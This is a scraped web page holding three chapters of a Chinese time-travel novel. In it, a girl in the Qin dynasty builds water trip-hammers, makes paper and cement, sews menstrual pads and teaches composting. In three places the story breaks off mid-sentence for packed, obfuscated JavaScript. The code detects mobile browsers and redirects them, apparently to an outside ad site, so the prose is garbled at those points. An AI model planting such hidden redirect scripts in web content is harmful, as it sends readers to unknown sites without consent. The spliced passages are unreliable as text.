RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230779|165936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后，水碓的上下游也修饰完好了。每天给劳役管饭发工钱，小满又用去三十积分，兑换黄金。 水碓完成之后，小满忙着朝屋里院里运送土壤，搬来破旧的瓦罐石槽，做着土豆红薯育苗的准备。 之前的树叶麦秸排泄物草木灰等的堆肥逐渐腐烂，可惜太少，只足够育苗之用。 后面秧苗插到地里，还需要想办法。 那水碓放着空转了一日，后有里长来说，借那水碓让远近村民舂米碎麦，农忙之前工匠旦做踏碓的工期已经排满了，实在忙不出来。 小满当然欣然应允，只是建议石碓工作时当有人在旁边看着，或者安上木栏，防止石碓伤人或是孩童落水。 不出两日，木栏安好，里长安排了一个少年人在旁看守，顺便帮人推放碓杆，控制运行。 小满偶尔与扬一起到侍女侍卫耕种的田地拔草时，总看到运行石碓的人在那里与人谈笑风生。 洛阳城里，工署接到工师献上的踏碓与水碓图纸，县丞见确实能节省人力，提高速率，允许建造投用的请求的。 这一部分的提升，虽然在个人看来只是省力，每天舂米省了小半个时辰，不过省些力气，多些空余时间，虽能轻松不少，却不会让田中粟米多长一分。 只有每日舂米的人知道其中好处。 若放到郡县，便是每天能多舂几百斤的粮食，供于官府，或是作为禄米发放，或是完成工税，将实物缴纳给府库，运送咸阳，都能大大提高功绩。 只是这水碓颇为耗费人力物力，县丞恐若将物料人力投入其中，耽误相邦建造禁苑宫室，只得将踏碓与水碓图纸一起发往咸阳相邦府门，请主家定夺。 于是数日后，大秦相邦吕不韦案头出现两只版牍，一支是禁苑工长的，说某大殿未能按工期完成，缺少几个木料，被姬夫人的女儿拉去建造一个叫水碓的东西了。 只能等农忙之后再征调劳役加赶工期。 另一只是县丞的，说他宫苑附近的工匠献上了踏碓和水碓两个器具，可以节省人力，特意献上请相邦检验推行。 吕不韦看完第一个还只想着乡野之地，木料多的是，只要不搞幺蛾子，随她去吧；看完第二个，联系一起，就觉得，小小年纪，败家。 不过小小年纪就能做成这么大的事，不愧是他的血脉。 他对这个女儿的期望只是在远离咸阳的乡野默默生老病死，如今这小儿这样展露某方面的才能，不知是福是祸。 吕不韦想起洛阳那个美丽却执拗的女子，暗叹一声，还是由她去吧。 吕不韦曾从事商贾之业，在秦国多年也受到耕战为主导的法家思想影响，对农业颇为看重，只是他上位掌权以后杂收并蓄，所行政令更圆融一点。 踏碓的功效在洛阳已经有所验证，只是搬到这边继续推广而已，秦工室有的是熟练木匠，建造这种一眼就能明晰的工具，并不是难事。 至于水碓，郑国渠便是今上继位之初，由他主张建议建造而成的，若真有莫大好处，并不惜人力物力。 相邦总领国政，府衙多有下属事务官署，其中掌管宫廷手工业的少府正是由其统领。 相邦有所指示，下面便开始马不停蹄去做，知道有人曾造出过这东西，为了缩短工期，甚至召令参与制造水碓的工匠工师前往咸阳。 另一边小满还在为一点一点运出种子忙碌。 土豆红薯的种子是可以作为食物的块茎，几百斤种子拿出来是一个庞大的数量。 还好是埋在土里的，小满趁人不在时偷偷取出埋下，盖上土后看不出来什么。 土豆红薯培育到土里以后就轻松多了，覆盖上土，甚至不需要翻动，只需要偶尔洒一点水。 小满问过村庄周边土地，属于相邦的约有千亩，她身边侍女护卫数人耕种的也有两百亩。 只是直到最后，小满凑出的种子也只够耕种十来亩的。 换算成秦朝的面积，约是四十亩。 仅是如此，小满准备的种子已经占了半个院子加几间屋子里的空隙，最后还要在外面开垦一块地，才勉强种的下。 屋外的部分，夜晚还要覆上稻草保温。 某日傍晚，该是吃晚饭的时间，却是之前舂米的女子给她送来食物。 洗完手准备用饭的小满疑惑，“扬去哪了呢？” 卯略带羞涩，“小主君，扬身体不舒服，今天我照顾你。” “扬她怎么了？生病了吗？” 从她醒来，每天吃饭睡觉就与扬几乎是形影不离，此时突然不见人，小满不免关心。“她吃饭了吗？” 10. 10纸张 “扬没有生病，只是……身体不舒服。” 小满见对方支支吾吾，禁不住头疼，“扬在哪里？” 就算生病了，她商城里还有药。 或许是为了生命健康着想，那些药物居然价格还行，不高不低。 如果不吃不喝三天就能买一粒。 卯没有多说什么，起身为她带路。 扬正躺在不远处一个较偏的屋子休息，紧闭双眸，脸色苍白，整个人蜷缩在被子里。 小满吓了一跳，还以为真得了什么重病，如果真是这样，以她的医疗水平，商城有药也没什么用。 直到看到床边一个沾血的下衣，才恍然，原来是来月经了。 她前世并没有痛经症状，不过这是每个人的体质不同，有些喝热水红糖水加上心胸腹背脚部保暖会好一点，有些甚至不能缓解。 虽然灵魂已经是老司机了，以这时候她身体的年纪，只能假装无知孩童。 小满看着扬缓缓睁开眼睛，哀声扑上去，“阿姐，你怎么了。”然后对着血迹惊叫道：“啊，姐姐，你流血了。会不会有事啊？” 看着扬强撑着安抚她，“不会有事的，这是每个女子都会有的。”小满乖巧点点头。 好像有点添乱了呢。 “阿姐你吃饭了吗？”得到否定回答后，小满屁颠屁颠的端来温热的粥米，尝试喂给阿姐。 “月儿会照顾人了呢。”阿姐夸了一句，然后谢绝了好意，“我自己来就好。” 来月经正是体弱的时候，想休息也不用跑到这么阴寒的屋子吧？正好晚间没加衣服，待了一会儿，小满略有些冷。 然后就不安分的想蹭上床，把手塞到被窝边角暖着。 小满觉到手下触感不太对劲，一层粗糙的麻布床单，下面是一些晒干的麦秸稻草编成的垫子粗糙扎人。 嗯？小满看见这东西第一时间，怀疑扬是被人虐待了，“谁？是谁……” 卯端着小满的饭从外面进来，把案几放在床脚，“什么谁呀？小主君想看着扬，也要先把饭吃了。” 小满反应过来，扬只是大姨妈来了，不是生病了，过几天就好了，不至于有人见缝插针的欺负人。 小满低头扒了几口，“阿姐为什么不回屋里睡？月儿在这有点冷。” 扬脸上略带红晕，“会弄脏褥子的。月儿回去睡到被窝里就不冷了。” 看着扬坚定温柔的样子，小满只能撒泼打滚，“不，我要跟阿姐一起睡，垫些布就好了嘛。” 然后看着卯，“卯，我们一起照顾阿姐好不好？” 虽然不知道能照顾什么，卯跟着劝道：“小主君说得对，下面垫些布就好了。” 两人齐上阵，终于说动扬，卯按着扬的指点取来了一个布条和新的裤子，穿戴在身上。 看着扬起身下床，小满一溜烟跑回去，“我去铺床。” 整好褥子，小满一边取出棉布，一边查询古代有什么能代替卫生巾，就看到月事带的相关信息，原来这个时候已经有这玩意儿了啊？ 就是可能吸水性和吸血性太弱？效果一般。 现在她有了棉布，吸水性是可以了，可是没有防水材料，只能多铺几层棉布。 看着扬换到这边，好不容易暖了一点，又被疼痛折腾的不轻。小满拿冰糖兑换了红糖，煮红糖水送过来。 虽然她知道红糖水的作用有限，起码能促进多喝热水，提供温度加补充能量的作用。 可惜没有加热器，汤婆子也不是现在出现的。 小满只能帮对方加一层被子，盖的结实点来保暖。 第二日，小满早早起来准备早饭。粥米加上菜羹，足够三个人吃的量。 加了糖水的那一份是扬的。 吃过饭后，小满去看了下红薯，回头看见扬在水井边洗棉布及沾了血的裙裳，布条。 小满急忙方下水瓢和瓦罐，“阿姐，我来洗吧。你不疼了吗？” 不疼也不能沾凉水啊。 “我好多了。”扬笑笑，“这种脏污之物，怎么能让小主人帮我洗呢？” 还行吧，不过是人体废弃物，与伤口流出来的血并没有多大不同。 在这边生活了快两个月，小满已经拒绝思考某些生活方式有多粗野，毕竟农业就是这样，没有化肥的时候，那些人和动物排泄物，蔬菜水果树叶等废弃物都是上好的肥料。 不过是自然菌种，不是酸雨，又没有剧毒辐射。 只要不长时间放置，让细菌滋生，接触一下不碍事的。 小满握着扬冰凉的手，把人拉起来，“阿姐替我缝个东西吧。” 系统资料里能查到月事带的样式，小满将拿出来的棉布让阿姐剪裁缝制。 只需要把布料剪裁成特定的形状，再按顺序缝制在一起。 棉布吸水性比桑麻丝绸好太多，虽然没有棉花填充，防护效果也比之前好了不少。 因为没有防水布料，小满让系统兑换了一些蜡布，作为底下的防水层。 还好隔着几层，应该不会损伤身体。 小满一下拿出来许多布料，扬打开堵着的窗户借天光，一边晒着太阳一边坐在床边缝纫。 一天下来缝了四五个，才想起来问道：“你要这个做什么？” 小满笑眯眯道：“我把姐姐的东西洗坏了，这是赔给阿姐的。” “而且阿姐不是说这是每个女子都会有的吗？我也要准备着。” 听完此话，扬不由失笑，“月儿还真是未雨绸缪啊。”看着小满稳定的样子，不由感叹，“这么会照顾人的月儿，不知什么人有福气取了去。” 小满不反驳也不害羞，摇头晃脑道，“我是照顾自己学会的。” “阿姐也要好好照顾自己哦。不要让自己着凉，月儿会担心的。” 灌完鸡汤，小满转身去检查育苗的红薯土豆覆盖情况，然后开始将做好的晚饭端上来。 今天的饭食有肉，只是这种驯化不完全的动物在小满感觉总有股腥味，又没有合适的烹饪方法和调料中和，实在难以下咽。 只简单囫囵吃了几口，剩下的都推给同桌而食的两个女子一起分享。 进入五月，田里农活越发繁忙，小满虽然不用去做这些，但是她的造纸原料已经差不多了，因此也是早出晚归。 正好周围民众都忙于农活，水碓周边空闲下来，小满便开始蒸煮清洗原料，让煦帮忙运作水碓，开始对麦秆的捶打。 水力的方便之处在于不耗人力，不知停歇，一大池子麦秸，一个半时辰就已经捶打完成。 小满将捶打完成的纤维团取了一部分放入水盆中，随意一晃，纤维团就开始散开。 然后加纸药，等到混合均匀，开始拿抄网抄纸，放在背阳处晾晒风干。不一会儿特制的十来个抄网已经用完了。 小满将那些可以活动拆卸的木框卸下，又将之前剩余的棉布兑换成了一个个略微透水的纱布，卡在木框之上，继续抄纸。 等弄出来三四十个后，树皮纤维也捶打完成了。 就这样麦秸，树皮，还有两者的混合物，小满制作了三种纸张，约有百十来张。 因为开始时抄纸不太熟练，其中纸张有薄有厚，凭借她的手劲，厚的几乎撕不动，薄的有点透光。 仰赖水碓力大势沉，捶打的时间较长，纸张倒是都足够细腻。 揭下之后，来不及裁剪，小满向旁边的人炫耀，“煦，你知道这个叫什么吗？” “知道。”煦疑惑的看着她，“纸。” “你已经念叨几百遍了。” 小满不在意对方的拆台，开心的笑了一会儿，“哈哈哈，答对了。” 笑完抿着嘴继续揭纸，选择性收集了不同材质不同薄厚的纸张，放到石上。 拿出准备好的笔墨，小满在新鲜出炉的纸张上写下了第一个字：秦。 不是小篆，亦不是其他六国文字，只是普通简体字，如果非要算的话，可能跟隶书更接近点。 小满回头问一旁的煦，“如何？” 煦的父亲去世之前，家境还算可以，后来在兽园放牧，算半个吏身，所以识得些字，也能看出来小满写的不是小篆，而是接近黔首用的隶书，只是细节有所不同。 不过那都不是重点。 “这……能写字？” 煦看着剩下的麦秸纤维团，他是一步步看着麦秸从变成这样的。 以前他眼中的麦秸可以作为牲畜饲料，作为砌墙的材料，可是这两日来麦秸经历了他看不懂的变化。 昨天这些材料清洗后在水里煮了一天，今天又用水碓捶打半天，放水里捞出来后，一下从碎渣，变成比细布还要细腻的……纸。 可以写字的纸。 煦对文字书写了解不多，只模糊觉得，他跟前的小女孩，在变腐朽为神奇。 小满看着麦秸纸上写的字，边缘开始慢慢有些洇散，把纸放到一旁，“咳，还有呢。” 转手抽出一张更为白皙细腻的纸，那是树皮纤维制成的，怪不得能作为传统原料呢，确实不一样。 两相对比观摩了一下，小满依旧写下了一个秦字。 小满看着对方想碰又不敢动的样子，鼓励道：“你要不要试试？”然后把笔塞到对方手里。“自己玩会儿。” 她自己则趁着夜幕降临前，把余下的纸张都揭下来，收集到一起。 晚风习习，吹动着田野上麦谷桑麻，小满抱着一摞略微不平的纸张，看着远处夕阳下俯首劳作的男女。 系统传来一声提醒，【叮】 【恭喜宿主完成制作纸张，系统奖励十积分，解锁雕版印刷技术】 费了好几个月，才得百十张纸，实话讲她不太舍得拿来当卫生纸。 不过也有用处。 正好拿去制作一本书。 之前说过的，她那不存在的师傅手里的书。 农业器具方面，之前解锁的初级农具就有很多可以参考的内容。 至于献给吕不韦，让他去写什么吕氏春秋，小满暂时不考虑。先不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230780|165936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说那本书完成了没有。 吕不韦成书之后张于城门，一字千金，已经够嚣张了，万一再因为这点纸张添一把火，加一点风。 小满都怕秦王看不过去，提前下手把他们一家族灭了。 虽然造纸暂时不能推广出去，这仍旧是不可忽视的前进的一环。 走回水池边，看着煦手忙脚乱的收起写了字的纸张，小满笑着叮嘱，“记着制作步骤啊。” 小满看着河谷上下收割劳作，日落不息的农人，和远处麦场，碾粒扬尘的人，说给对方，也说给自己，“以后每一个读书写字的人，都会用上。” 河岸边，水碓依旧吱呦吱呦的转动着，杵臼上的重木一下一下砸着，似乎要把什么深深刻入地下，为这一刻做着见证。 夜幕降临，煦看了看清空的池子，和又挂上的一排排压干晾晒的抄纸，“你近日还需要进山砍树吗？” 小满摇摇头，“不，等秋季吧。”到时候别人砍伐林木，她可以买取树皮，省钱省事。 现在还是先专注红薯土豆的种植。 “那我明日有些事，暂时告假几天。” 会有什么事需要告假几天？ 她之前事忙，因为怕忘记发放粮米，把自己认真收的小弟饿死，才将每月发给对方的粮米工钱固定下来，让家吏将煦的名字记入了名录，定期发放粮米。 小满知道这个工钱虽然在秦朝不算低，可因为缴纳赋税，商品贵贱等种种原因，也不过平民维持温饱，所以她身边的人即使有口粮发放，还要自耕自种。 “什么事情？需要帮忙吗？”小满转头看着煦，怕对方遇上无法解决的事情，若是金钱之类她能解决的，帮一把不过举手之劳。 “家里还有农事需要完成。” 小满惊异，“你家不是没有地吗？” 商鞅变法时秦朝实行的是授田制，按户口授予土地，可是几百年下来，人口生老病死，土地买卖流转，早已经沧海变迁。 只有令黔首迁徙填充地域的时候，还实行授予土地。 此外就是打仗立功获得爵位，赐予田宅。 小满了解过，他家之前的田地，已经半被剥夺半被买卖的收走了，因为是无业游民，所以这些日子才会跟着她东游西荡。 “无地可以为庸耕，阿兄正是为此，况吾母养有桑蚕，当是抽丝的时候。” 煦突然在小满跟前半跪下来，认真道：“我会回来的。” 这么乖的小孩，还能挡着干活吗？ 小满又转回来继续看云彩，“哦，好的。” 次日小满无事，与扬等人一起去麦地收割，运输，晾晒，碾压，收拢扬尘，整个流程走了一遍，十分怀念前世的收割机。 傍晚时分，坐在麦场谷堆旁，小满看着赶着牛拉着石磙碾来碾去的年轻人，“你是说这牛是从官府借的？” “是的，有专门的厩苑饲养牛马，兽园饲养其他动物，农耕之时可以借官府的耕牛和农具，只是不能将牛饿瘦了。” 小满若有所思的点头，本来还担心肥料问题，如今看来可以解决了。 先秦时期劳动人民已经懂得了，季夏时节，温度较高的时候，把草堆起来，用火焚烧或者用水腐化，可以作为肥料。 田律之中除了不能采新芽，还有七月之前不能焚烧野草的规定。 人类或动物的排泄物用来堆肥同样被应用了起来，因此牛马苑中，这玩意还不是免费的。 需要拿秸秆或稻草等能作为饲料的来换。 这要求当前真的要多少有多少，不说正在收割的，小满系统商城中因为她坚持不懈的拿秸秆换积分，现在秸秆稻草的价格已经降到五积分二百千克了。 厩苑长看着小满用马架车拉来的秸秆比寻常见到的秸秆短了不少，没有头也没有根，十分整齐似乎是切割好的。 不过品质不错，十分干燥，重量也足，便没有多管。 直接给了物品，指明方向，让其与粪官领取。 牛羊马粪堆在厩苑附近，小满靠近便不由得捂住了口鼻，粪官不闻其臭，还十分有心得，“今年粪田的怎么这么早就开始了？来的有点早了。” 等还耕牛的年轻侍卫拎着铁锨来装运时，更是指点迷津，“往年人家有经验的都是挑下面的选，肥田效用好。” 侍卫看起来似乎也没干过挑粪的工作，铲起底下带着粪水的肥还有点手抖，小满闭了闭眼睛，“不用。都一样，挑干燥的。” 下面的肥田效果好是因为经过发酵，她运回去正是要发酵的，就不用发酵好的了。 到了扬与一同劳作的众人商议划给她种土豆红薯的地界，小满让对方先停下手，然后回住的地方一趟，递过去一个简易口罩，和带着纱布的幕离。 “吾见这几日太阳太晒，特意赶制的，你先带着吧，可以防恶气。”卸完一车又拉上打好的麦秸，送到厩苑，然后拉回粪土。 这样一车一车堆在那里，直到三四车堆下，小满觉得再加些树叶麦秸草木灰足够使用了才做罢。 11. 11水泥 因为知道农作物受施肥灌溉天气等因素制约太多，小满有心询问本土的收成，记录下来，以后种植杂交品种时，做个对比。 只是这时代收割脱粒效率太慢，所有人力都投入到其中，没有余力称量出来，给她数据。 等到收割告一段落，土豆根芽也足够大可以移植了。 小满给了系统出品的一粒金豆，让之前的侍卫去官府厩苑租借来耕牛深翻土地。 土豆红薯都是块茎类，种植需要深耕。 此时农业“深耕易褥”的观念已经比较广泛，铁质犁具也已经发展成熟，虽然不如后世机械，多犁几遍也能更好耕作。 外面侍卫们辅助耙碎土块。 小院内小满与煦，扬等几个将容器内浅埋的土豆块茎翻出来，握刀按照根芽分布一块块切开，另有人将土豆切开面沾上草木灰，防止虫蛀。 数百斤的土豆，最后不过种了一亩，折合秦亩四亩。 红薯则是扦插茎叶就能存活的品种，可以等长大一些再剪枝，栽种。 收获完成之后，便是缴纳赋税的时候，秦朝租税征期为五月和十月，正分别是麦子和粟米收获的季节。 到了规定的交租时间，护卫用马车拉着谷物，与一同前往洛阳城邑。 小满与扬等人跟随着一起到治税的地方，看着一麻袋一箩筐的往升斗里倒，不由问：“今年的收成如何？” 这时代作物产量都是以体积算的，升、溢、豆、盆、斗、斛、石等都是计量单位，最著名的便是统一度量衡的商鞅方升。 仓廪中负责记录的吏人与这群护卫也算熟人，毕竟同为吕不韦所属下吏。 况且，这仓廪之中，送来粮食的多，领走粮食的不多。岂能不印象深刻？ 嗯，他们作为耕种吕不韦田庄的佣耕，需要依律交税，也作为家臣家将属吏领用粮米。 有时是家臣送到里庄，有时是自己到府库或附近仓廪领取。 吏人握着刀笔记录刻画着，一边道，“今夏降水不足，暑天不蒸，地气不升，许多地方的谷没能成熟，据说多的地方产量减少一半。” “不过洛邑附近有洛水灌溉，情况还算不错。” 之前脱粒完成，麦子装袋入仓时，小满闲着扫描了一下，经系统换算，每亩麦子产量不到两百斤。 就这还是不错？ 小满听着就禁不住瞳孔地震，怪不得商鞅变法时规定每户百亩之田，这要是地少了，就这产量还不得都去讨饭？ 回去的路上，小满看着扬起烟尘的道路，问一起乘车的扬，“阿姐，今年有下过雨吗？” 扬回忆了一下，“有的。二月末下过一场大雨，那时你还生病了。” “后来便只有几次小雨了，不足以缓解干旱。” “……” 小满看向天空，晴朗，万里无云，“那还得准备浇水啊。” 赶车的接道，“接下来种的粟米豆菽比较耐旱，小主君不必担忧。” 她接下来要大量种植的红薯也比较耐旱，确实不用担心，就算会受影响也会比当前的麦粟产量高不少。 说是不用担心，小满还是将系统翻出来了，搜寻当前能用的辅助浇水的工具。 一个名叫桔槔，利用杠杆原理将水从河里或者井里拉上来，这个时代已经广泛运用。 一个叫龙骨车，也叫翻车。是一种链式工具，一头浸入水中，用手摇脚踏的方式转动，拨片把水从下方的木箱中引上来。 还有一种便是筒车，与之前建造的水碓类似，只需在外轮绑上开口向轴，略微朝外倾斜的竹筒，竹筒转到水下时，开口斜上灌满水。 随着转动上升，慢慢倾斜，水便随着重力向外流出，此时下方置一木槽，便可将水引到田里灌溉。 看完小满一拍手，天工开物真是个好东西，决定了，她制的那些纸张可以为之留一本。 按节省时间木料，当然是在水碓上增加竹筒更为上策，但按方便移动和传播，龙骨车则更为合适。 何况，水碓置于水中，每日不停转动，若要加点东西，还需要堵塞河水，麻烦了点。 虽说此时河流水位下降不明显，可若是万一水流枯竭带不动水碓，也算枉做工。 小满想着先完成龙骨车的制作。去找工匠旦时才知道，他还没收完麦子就已经被征召到咸阳了。 还好他家主业为工匠，耕种不多，在邻里互助下女主人一个人也忙完了。 小满打听了一下，之前熟识了的，帮忙建造水碓的工匠，除了离得远的没有消息，大部分，只余一两个老工带着工匠学徒，支撑着本地工坊。 不幸的是他们也有制作踏碓的工期任务，没法腾出手来给她建造龙骨车。 最后只能看向给吕不韦建造宫室新召集的更役。 软磨硬泡几天后，以一张水泥方子换来，其中的工匠劳役，帮自己堵塞河水，完成水碓加竹筒，和引水木槽的工作。 禁苑长捏着新奇的纸张，翻来覆去，倒横直竖，“小主君，这方子真的能使宫室，坚若铜墙铁壁？” 他早已经听说姬夫人的女儿有个师傅传书，里面记载了许多百工之事，踏碓水碓的应用让一众工匠心服口服。 那已经是他递上请罪加告状的信牍之后了。 不久之后事情就有些怪异了，他递上去那封信牍石沉大海，没有处罚，也没有回复。 当真是不闻不问。 可后来再看，咸阳突然下令让建造踏碓的人赶赴过去，统协工作。 未完成工作没有刑罚，还批准了下一次接着建造宫室的申请，那就是默许的意思。 因此面对这个女童的要求，不敢强硬拒绝，可他也怕若再耽误工期，恐怕下次便没有这么好的运气了。 可当他看到女君拿出的名为水泥的物品的时候，还是忍不住动摇了。 宫室的建造不止大木制成穹顶，还要夯浮土，起高台。底下是版筑，上面是石板石条，如此方能结实。 如果想要美观，还要在石头上拿凿子一点点雕刻，费工费力。 如今见到一团泥土，随意摆布形状，几个时辰之后就凝固成了需要刀劈斧凿的石块，如何不感兴趣。 小满漫不经心的点头，“当然了，你不都见过了吗？而且这东西还会越放越坚硬。” “我只取了轻量示范，阁下若能说动工室，要来窑炉，像那样的水泥，每日可出产几千斤几万斤。” “到时候阁下的工事建造易如反掌，再不用担心逾期受罚。若是能用到咸阳宫室，说不定还能……” 只能说神农系统不愧是神农系统，出的方子是真土方子，虽然一定不能治病救人，但是真土啊，简单好用。 比如造纸术。 水泥那样到十九世纪才出场的，也能因时制宜，推出代替品。 水泥刚发明时的初始材料是石灰石和火山灰，系统给的方子则是粘土陶土器片碎瓷片等材料，加生石灰，石膏矿石经过处理，炒制烘干，碾成细末，混合均匀。 粘土陶器碎瓷片在这都是最基本的生活器具，生石灰也早用于建筑中。 至于石膏，汉代据说用来点化发明了豆腐，还有拿来入药的，言其有清热泻火，除烦解渴的功效。 只是名字形态不同，自然也不缺乏。 刚领到这个奖励的时候，小满并不在意，毕竟她还在挣扎求生阶段，现有的东西都没搞好，没兴趣大兴土木。 但是这东西调性实在太符合大秦帝国了，要是能献给秦王嬴政做驰道就好了。拿去建设骊山也不错，水泥风的陵墓，多拉风啊。 结果现在为了换取一点权利，先给吕不韦用上了，真是糟蹋东西啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230781|165936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为着一点气性，还有留一手的考虑，小满给的方子上只写了陶器碎瓷片作为原料。 给对方小小上一点难度。 反正她用的原料也是这些。 小满没想到，她以为随处可见，随便就能搜集几十斤的陶器，在没有流水线的战国，也是出产量一般的日用品。 想要每天几千斤的取用，一开始积存的的碎陶片用完后，压根维持不了多久。 不过也够赶完一阵的工期了。 禁苑长十分“勉强”的点了头。 原本修建宫室的几百人被拉去乡野之中，带头的百夫长听了小满的要求，一言难尽道：“主君为什么要堵塞河道断绝水流，而不选择把水碓取出来安装竹筒？” “之前的工师就是这样做的。大概是水碓比较重，而且会受水力影响转动，不好控制的缘故。” 百夫长睥睨水碓，区区几块木头，也叫重？ 然后呼唤卫队，取来工具。让小满见识了一下什么叫大秦重工。 不是想炫技，只是另一个确实更麻烦。 长杆，滑轮，绳索，滚木，虽然只是简单的器械，但是够用。甚至能抬建筑宫殿的大型石块，只是需要的力夫更多。 咸阳城 相邦让建造水碓的命令下达之后，接到任务的工室便开始研究那洛阳寄来的图布，虽然图上的东西看起来结构严密，浑然天成，很符合一些天圆地方的学说。 但是没有见过的东西，实在想不通放水里如何让其动起来的方法。 后来知道这个和最近咸阳风行的踏碓都是相邦食邑献上来的，那边已经有人做出来了，便上书请求将人征召调派过来。 洛阳工匠到了之后，首先把试验地点从工室打造的涓涓细流的池子里，转移到了露天河边。 接下来几月在工匠旦与洛阳来的工匠工师们协助之下，工室发动人力物力一个多月的时间，车出来的物料早已足够做两三架水碓了。 只等刷的防水桐油风干，组装完成。 这一天旦接到一封从洛阳来的信，本以为是妻想他念他，催他回家的家书，接过却简单木牍中间夹着一张折叠起来的“纸”。 这东西像绢帛，又像丝麻，上面画着与水碓差不多的东西，旁边书写着几个方正的隶书字。 工匠旦一看这奇怪的书写材料就知道，书信大概是姬夫人的女儿，那个性子古怪，却天生幸运，极受某不知名工匠大家青睐，传了工书的小主君寄来的。 上面的字虽然略显端正，却是彼时的隶书，小满特意让系统翻译了抄画上去的。 她知道咸阳可能有意复刻水碓之后，便将筒车水碓的复合体写在纸上，特意画出标注，寄了过来。 同时还说了建造龙骨车汲水的事情。 旦每日来往于咸阳，同样看得到这边一样受干旱困扰，除了正在建造的郑国渠，咸阳附近也有渭河等河流。 虽说旱情如火，这里的人依旧用桔槔人力等方法汲水运水。 旦看在眼里，拿着书信与洛阳一同来的工师商议，请求在水碓上增加竹筒，达到汲水的效果。 至于龙骨车，信上只提了一句，旦没有概念图样，便暂时按下，先让在洛阳的工师打造出来。 经过这些日子的合作，咸阳工室的人也对这些工匠的兢兢业业有所了解，看着也没有多费多少木料，便准许了。 这边筒车建成，大幅提升的汲水速率多受称赞。 原本正为天气干旱禾苗枯焦，困扰头疼的吕不韦接着下令，让秦国干旱严重河里还有水的各地工师学习建造推广不说。 增加的工程任务差点打破工师旦回家计划，把人留在咸阳再干三年。 还好几个工师要回去的洛阳是吕不韦食邑，大秦相邦为了自身利益和治下黔首，驳回工室留人的请求，放回去了几个。 12. 12堆肥 水碓加上筒车，一举解决了脱皮粉碎和灌溉的问题。 与此同时，院中的红薯藤蔓也蔓延不少了，小满开始让护卫再次翻地，这次的工程比较浩大，费了几天的时间。 小满在地垄旁看着，觉得铁犁形状不如后世流畅自然，秦国农具还缺了铁耙，一趟过去直接耙松一陇的那种。 只是现在工匠不在，铁器也没那么好打造，只好待来年。 在小满守在地边，一边记下铁农具改进点，一边查看堆肥情况的时候，本地田典走了过来。 “我说你们，往年都是仗着相邦家臣身份，能借到最好的耕牛和农具，最先完成农事的，今年如何拖到快七月，若是误了时令，交不上租税，官府难道不罚你们吗？” 赶着牛的年轻侍卫亥，笑着回答：“不劳田典忧虑，我们的租税是够的。” 他们耕种的大片土地早已经种好，之前小主君种下的土豆枝蔓也长出来不少了，只是为了解决翻地水源等问题，这几十亩地晚了点。 但是上了年纪种田经验丰富的田典看起来并不信他的话。 看了一会儿，拿着手中木条试了试翻耕的深度，已经耕好的足有十二寸。 忍不住又道：“虽说要深耕才能丰产，可有句话叫过犹不及，你们翻这么深的土不是浪费时间吗？” 一旁闲着的小满主动答话，将人注意力拉过来，“大伯，那是为了种其他的东西，一定要这么深的。” 关心那个还不如关心一下其他的东西。 然后指着盖着稻草树叶牛粪堆肥的一堆，问道：“大伯，你知道堆肥吗？” 夏季温度较高，经过一个多月的晾晒翻动发酵，已经看不出来本来的样子了。 里典看起来也认识小满，“不敢当贵人一声伯，” 然后看着小满指的方向，确定了一下鼻子里闻到的味道，其实已经闻不到什么气味了，但是东西刚拉回来不久时，他是见过的，于是道：“这不是厩苑的粪土吗？” “你们早早就弄回来了？” 额，她为什么觉得老丈在嫌弃她？好像在说她贪心不足，什么脏的臭的都迫不及待拉回来，然后还误了种田的正事一样。 “田典，我之前在书上看到说，野草树叶焚烧为灰或用水腐之，可以肥田地，” 什么书你别管，就算现在没有，以后也会亲自给它写出来。 “厩苑的粪官也说，堆在底下发酵后的粪土更能滋养田地。所以才把新鲜的牛粪弄回来堆放在这里，沤成腐土。准备施到地里面。” 田典边听边点头，好像说的有道理。“真的可以？” “当然。” 里典看着远处山林，“连月无雨，近日已经有人开始上山，砍草木烧灰了，” “明日我召集乡邻，听你叙说一下，若有愿意跟你学堆肥之法的，便让他们学一学可好？” “好。” 第二日，小满跟过来的人简单讲了一下堆肥原料和过程，然后强调堆肥至少二到三个月，冬天要更久一些，肥料才会完全腐熟。 小满说完之后就有人反驳，“禾苗正是要施肥的时候，哪里等的了这么久的时间，一个月能不能行？” 小满摇头，“一个月堆肥还未发酵完全。” 其实她堆积的肥料都还没完全腐熟，翻地之前，底肥都没加。 “谁等得了这么久？” “守着一堆粪肥却不去用，等着劳什子发酵，贵人不是在开玩笑吗？” 当即有人摇头走开。 “那你们一般怎么施肥？”小满询问之后发现。 其实这个时代种植还是比较粗糙，遵循着一点简单的方法，比如收获作物留下完整饱满的来年做种子。 有耕牛农具就耕深些，肥沃的土地种的多些，贫瘠的土地种的间隔大些。 家里存有粪便的就施用到地里，新鲜的也不怕。 因为大多人家是地多肥少，施的比较稀疏，聚集不到一起，温度达不到就不会升温发酵烧苗。 而且肥料堆积在一块会形成烧苗，也是有点经验的老农都会尽力避免的。 